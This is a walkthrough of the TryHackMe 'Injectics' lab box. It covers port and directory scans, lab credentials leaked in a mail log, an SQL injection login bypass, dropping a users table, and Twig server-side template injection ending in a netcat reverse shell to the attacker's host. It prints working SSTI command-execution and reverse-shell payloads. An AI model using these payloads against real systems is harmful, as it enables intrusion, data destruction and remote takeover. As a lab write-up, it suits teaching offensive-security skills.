This walkthrough is related to the medium level box from Try Hack Me called Injectics which is designed to test your injection skills to take control of a web app. Let’s get started!

We start with first identifying what are the open ports and we use rustscan which shows us that we have two ports open, being 22 and 80

❯ rustscan -a 10.10.80.9
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Scanning ports: The virtual equivalent of knocking on doors.

[~] The config file is expected to be at "/home/n3ph0s/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.10.80.9:22
Open 10.10.80.9:80
[~] Starting Script(s)
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-29 12:30 PST
Initiating Ping Scan at 12:30
Scanning 10.10.80.9 [2 ports]
Completed Ping Scan at 12:30, 0.24s elapsed (1 total hosts)
Initiating Connect Scan at 12:30
Scanning injectics.thm (10.10.80.9) [2 ports]
Discovered open port 80/tcp on 10.10.80.9
Discovered open port 22/tcp on 10.10.80.9
Completed Connect Scan at 12:30, 0.24s elapsed (2 total ports)
Nmap scan report for injectics.thm (10.10.80.9)
Host is up, received syn-ack (0.24s latency).
Scanned at 2024-07-29 12:30:15 PST for 0s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.51 seconds

As a secondary check and to also check UDP, I also run masscan with the command sudo masscan -p1-65535,U:1-65535 -e tun0 --rate=10000 10.10.80.9 but this turns up no additional information.

The following is the output from nmap

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 4f:83:df:a9:d5:55:b3:31:ea:34:98:fb:f5:e0:22:9a (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCqPOQZSovnh3pxFRHXa6RkX7gai5WmUWjASorkjIczAcjN4nm/uO5v7pAliGQIwDWYVwxT5N/ljOrxSwRRGeP0USGCOfMIPdAOEBZ1Qo+CALtu5AO28j3LML7vS0Cot58vUa+tdcSojvDC3HOXQHZ/L4LL6/+qfwCWs6vJgKCrAicaZUsCCAELcGPC7BrO/8EqNmDLrJMzHCzYN7S40aECasUWkw+c9Xa34JgwP06cAX1D5KS5ZYQltZGdwWE/3gd/Yteu18Bi74RPg8q7wQ8MdAhBgwR2iQJHf/0O/r9AZt71MibcG4d7aEy0mssIHuntFAoNGt4GMIpQWKNxK5O6SScbefHFgcwtRJ16z1zG9V5oVIHJPPbj8HQO3U9l4d1VeSA/J3EPX61xqTYD7LJBIM698DRqQZhXccKH+q5wCGlPCceY8YHaYcpK5uWUawR4iSJ5leOAFnvxvC+I563YJaQelCoUxZlnpNX2buwX5GmyVPEW3L6a6Go0lx0LCrk=
|   256 49:73:7a:ea:1b:9c:b5:61:77:a5:db:43:93:4e:d5:de (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL9ggiz/fFMOQH2aDEzUrmxXBEf/jqnFu1jyklngh8uVFFA5Vj53VlOMTRwNq1LixIsmZRqLg/y/ppPVD1F1xts=
|   256 9a:2b:f2:75:e1:9c:0c:92:40:ec:f7:ce:2e:64:ae:75 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBoG1H7HSYQ8p47ySJzNSmaVlbryoxclUvDR3su3CAhD


80/tcp open  http    syn-ack Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-title: Injectics Leaderboard
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 80 - HTTP

We will focus on Port 80 as the most logical attack vector at this point in time and we will kick off some automated scans before manually inspecting the site.

Directory Fuzzing (non-recursive)

❯ feroxbuster -u http://injectics.thm -n

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.4
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://injectics.thm
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.10.4
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🚫  Do Not Recurse        │ true
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        9l       31w      275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      278c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      161l      368w     5401c http://injectics.thm/login.php
200      GET        6l      263w    18362c http://injectics.thm/js/popper.min.js
200      GET        7l      683w    60044c http://injectics.thm/js/bootstrap.min.js
200      GET        2l     1062w    72380c http://injectics.thm/js/slim.min.js
301      GET        9l       28w      319c http://injectics.thm/javascript => http://injectics.thm/javascript/
301      GET        9l       28w      312c http://injectics.thm/css => http://injectics.thm/css/
301      GET        9l       28w      311c http://injectics.thm/js => http://injectics.thm/js/
301      GET        9l       28w      319c http://injectics.thm/phpmyadmin => http://injectics.thm/phpmyadmin/
200      GET        7l     2103w   160302c http://injectics.thm/css/bootstrap.min.css
200      GET      206l      428w     6588c http://injectics.thm/
301      GET        9l       28w      314c http://injectics.thm/flags => http://injectics.thm/flags/
301      GET        9l       28w      315c http://injectics.thm/vendor => http://injectics.thm/vendor/
[####################] - 3m     30013/30013   0s      found:12      errors:0
[####################] - 3m     30000/30000   198/s   http://injectics.thm/ 

In addition to running FeroxBuster, I also run dirsearch which has some good default settings just for additional validation

❯ dirsearch -u http://injectics.thm
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/n3ph0s/Hacking/Machines/THM/Injectics/reports/http_injectics.thm/_24-08-02_11-38-06.txt

Target: http://injectics.thm/

[11:38:06] Starting:
[11:38:19] 301 -  311B  - /js  ->  http://injectics.thm/js/
[11:38:22] 403 -  278B  - /.ht_wsr.txt
[11:38:22] 403 -  278B  - /.htaccess.bak1
[11:38:22] 403 -  278B  - /.htaccess.orig
[11:38:22] 403 -  278B  - /.htaccess.sample
[11:38:22] 403 -  278B  - /.htaccess.save
[11:38:22] 403 -  278B  - /.htaccess_extra
[11:38:22] 403 -  278B  - /.htaccess_orig
[11:38:22] 403 -  278B  - /.htaccess_sc
[11:38:22] 403 -  278B  - /.htaccessBAK
[11:38:22] 403 -  278B  - /.htaccessOLD
[11:38:22] 403 -  278B  - /.htaccessOLD2
[11:38:22] 403 -  278B  - /.htm
[11:38:22] 403 -  278B  - /.html
[11:38:22] 403 -  278B  - /.httr-oauth
[11:38:22] 403 -  278B  - /.htpasswd_test
[11:38:22] 403 -  278B  - /.htpasswds
[11:38:25] 403 -  278B  - /.php
[11:39:07] 200 -   48B  - /composer.json
[11:39:07] 200 -    9KB - /composer.lock
[11:39:10] 301 -  312B  - /css  ->  http://injectics.thm/css/
[11:39:11] 302 -    0B  - /dashboard.php  ->  dashboard.php
[11:39:20] 301 -  314B  - /flags  ->  http://injectics.thm/flags/
[11:39:28] 301 -  319B  - /javascript  ->  http://injectics.thm/javascript/
[11:39:29] 403 -  278B  - /js/
[11:39:32] 200 -    1KB - /login.php
[11:39:33] 302 -    0B  - /logout.php  ->  index.php
[11:39:34] 200 -    1KB - /mail.log
[11:39:45] 301 -  319B  - /phpmyadmin  ->  http://injectics.thm/phpmyadmin/
[11:39:47] 200 -    3KB - /phpmyadmin/doc/html/index.html
[11:39:49] 200 -    3KB - /phpmyadmin/
[11:39:49] 200 -    3KB - /phpmyadmin/index.php
[11:39:56] 403 -  278B  - /server-status
[11:39:56] 403 -  278B  - /server-status/
[11:40:11] 403 -  278B  - /vendor/
[11:40:11] 200 -    0B  - /vendor/composer/autoload_classmap.php
[11:40:11] 200 -    0B  - /vendor/composer/autoload_files.php
[11:40:11] 200 -    0B  - /vendor/composer/autoload_real.php
[11:40:11] 200 -    0B  - /vendor/composer/autoload_psr4.php
[11:40:11] 200 -    0B  - /vendor/composer/autoload_static.php
[11:40:11] 200 -    0B  - /vendor/composer/autoload_namespaces.php
[11:40:11] 200 -    0B  - /vendor/composer/ClassLoader.php
[11:40:11] 200 -   12KB - /vendor/composer/installed.json
[11:40:11] 200 -    0B  - /vendor/autoload.php
[11:40:11] 200 -    1KB - /vendor/composer/LICENSE

Task Completed

Sub-Domain Fuzzing

❯ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://injectics.thm -H 'Host: FUZZ.injectics.thm' -fs 6588

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://injectics.thm
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.injectics.thm
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 6588
________________________________________________

:: Progress: [4989/4989] :: Job [1/1] :: 159 req/sec :: Duration: [0:00:34] :: Errors: 0 ::

Manual Inspection

We launch caido so that we can intercept traffic to inspect later and then we open the browser and we are presented with the following default landing page

We look at the source code and we find a name and email address and also a note that mails are stored in a log file.

You will recall that we also saw mail.log in the earlier scans and when we look at that file, we can see that this has username and passwords that will be set if the users table is deleted or corrupted. We now know that there is a database behind it and that if we can get access and drop the table, we have the required access.

❯ curl http://injectics.thm/mail.log
From: dev@injectics.thm
To: superadmin@injectics.thm
Subject: Update before holidays

Hey,

Before heading off on holidays, I wanted to update you on the latest changes to the website. I have implemented several enhancements and enabled a special service called Injectics. This service continuously monitors the database to ensure it remains in a stable state.

To add an extra layer of safety, I have configured the service to automatically insert default credentials into the `users` table if it is ever deleted or becomes corrupted. This ensures that we always have a way to access the system and perform necessary maintenance. I have scheduled the service to run every minute.

Here are the default credentials that will be added:

| Email                     | Password                |
|---------------------------|-------------------------|
| superadmin@injectics.thm  | superSecurePasswd101    |
| dev@injectics.thm         | devPasswd123            |

Please let me know if there are any further updates or changes needed.

Best regards,
Dev Team

dev@injectics.thm

The other file that we found earlier was composer.json which indicates that they are running Twig which could also indicate that there is an SSTI that we could exploit

❯ curl http://injectics.thm/composer.json
{
  "require": {
    "twig/twig": "2.14.0"
  }
}% 

We then navigate to the login page and we are then presented with the following.

When we enter something generic, we can see that there is a parameter called functions.php and we get the response back in JSON

If we look at the source code of the page it calls script.js which if we look into calls the functions.php which has a list of invalid keywords for the username value.

$("#login-form").on("submit", function(e) {
    e.preventDefault();
    var username = $("#email").val();
    var password = $("#pwd").val();

	const invalidKeywords = ['or', 'and', 'union', 'select', '"', "'"];
            for (let keyword of invalidKeywords) {
                if (username.includes(keyword)) {
                    alert('Invalid keywords detected');
                   return false;
                }
            }

    $.ajax({
        url: 'functions.php',
        type: 'POST',
        data: {
            username: username,
            password: password,
            function: "login"
        },
        dataType: 'json',
        success: function(data) {
            if (data.status == "success") {
                if (data.auth_type == 0){
                    window.location = 'dashboard.php';
                }else{
                    window.location = 'dashboard.php';
                }
            } else {
                $("#messagess").html('<div class="alert alert-danger" role="alert">' + data.message + '</div>');
            }
        }
    });
});

We have a high probability that there is a SQL Injection so we intercept a request and pass it to Automate using Caido and we are able to bypass this.

We now have the ability to be able to edit the rankings

We will click on edit and make a change and based on the request, can be reasonably confident that this updates a database.

You will recall that we found the mail.log that provided credentials in the event that the users table was either deleted or corrupted so let’s see if we are able to do that.

Looks like the table has been dropped :)

We go to the admin login page and are able to login with the admin credentials found earlier and we have found the first flag

If you recall we identified that Twig was being used and this means that it potentially could allow SSTI and from looking at the page, one possible area is the “Welcome, admin!” which is being reflected on the page. Based on this we can see that this would come from the Profile page, so we will have a look at this.

The easiest way to test for this is to inject {{7*7}} and see if this is evaluated.

We can this that this has been evaluated and we get the results on the home page and we will now use this to get a reverse shell

After some trial and error we have been able to get command execution using {{['id','']|sort('passthru')}} and we can of course get the flag this way which we have done, but that is not as much fun as getting a shell.

Getting a Shell

We have set up our listener and we have gotten a shell with the payload {{['busybox nc 10.11.79.78 9001 -e bash','']|sort('passthru')}}

❯ nc -nlvp 9001
listening on [any] 9001 ...

connect to [10.11.79.78] from (UNKNOWN) [10.10.24.141] 55766
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

We upgrade our shell and we have Pwned this machine!